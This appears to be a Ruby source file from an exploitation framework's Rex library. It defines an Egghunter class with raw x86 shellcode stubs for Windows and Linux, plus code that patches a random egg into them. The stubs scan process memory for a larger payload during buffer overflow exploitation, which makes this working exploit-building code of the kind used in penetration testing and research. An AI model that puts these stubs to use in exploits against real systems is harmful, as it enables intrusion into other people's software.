143 lines
2.6 KiB
Ruby
143 lines
2.6 KiB
Ruby
require 'rex/text'
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require 'rex/arch'
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module Rex
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module Exploitation
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###
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#
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# This class provides an interface to generating egghunters. Egghunters are
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# used to search process address space for a known byte sequence. This is
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# useful in situations where there is limited room for a payload when an
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# overflow occurs, but it's possible to stick a larger payload somewhere else
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# in memory that may not be directly predictable.
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#
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###
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class Egghunter
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###
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#
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# Windows-based egghunters
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#
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###
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module Windows
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Alias = "win"
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module X86
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Alias = ARCH_X86
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#
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# The egg hunter stub for win/x86.
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#
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def hunter_stub
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{
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'Stub' =>
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"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02" +
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"\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8" +
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"\x41\x41\x41\x41" +
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"\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7",
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'EggSize' => 4,
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'EggOffset' => 0x12
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}
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end
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end
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end
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###
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#
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# Linux-based egghunters
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#
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###
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module Linux
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Alias = "linux"
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module X86
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Alias = ARCH_X86
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#
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# The egg hunter stub for linux/x86.
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#
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def hunter_stub
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{
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'Stub' =>
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"\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
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"\x3c\xf2\x74\xf1\xb8" +
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"\x41\x41\x41\x41" +
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"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7",
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'EggSize' => 4,
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'EggOffset' => 0x11
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}
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end
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end
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end
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###
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#
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# Generic interface
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#
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###
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#
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# Creates a new egghunter instance and acquires the sub-class that should
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# be used for generating the stub based on the supplied platform and
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# architecture.
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#
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def initialize(platform, arch = nil)
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Egghunter.constants.each { |c|
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mod = self.class.const_get(c)
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next if ((!mod.kind_of?(::Module)) or
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(!mod.const_defined?('Alias')))
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if (platform =~ /#{mod.const_get('Alias')}/i)
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self.extend(mod)
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if (arch and mod)
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mod.constants.each { |a|
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amod = mod.const_get(a)
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next if ((!amod.kind_of?(::Module)) or
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(!amod.const_defined?('Alias')))
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if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
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amod = mod.const_get(a)
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self.extend(amod)
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end
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}
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end
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end
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}
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end
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#
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# This method generates an egghunter using the derived hunter stub.
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#
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def generate(badchars = '')
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return nil if ((opts = hunter_stub) == nil)
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stub = opts['Stub'].dup
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esize = opts['EggSize']
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eoff = opts['EggOffset']
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egg = Rex::Text.rand_text(esize, badchars)
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stub[eoff, esize] = egg
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return [ stub, egg ]
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end
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protected
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#
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# Stub method that is meant to be overridden. It returns the raw stub that
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# should be used as the egghunter.
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#
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def hunter_stub
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end
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end
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end
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end |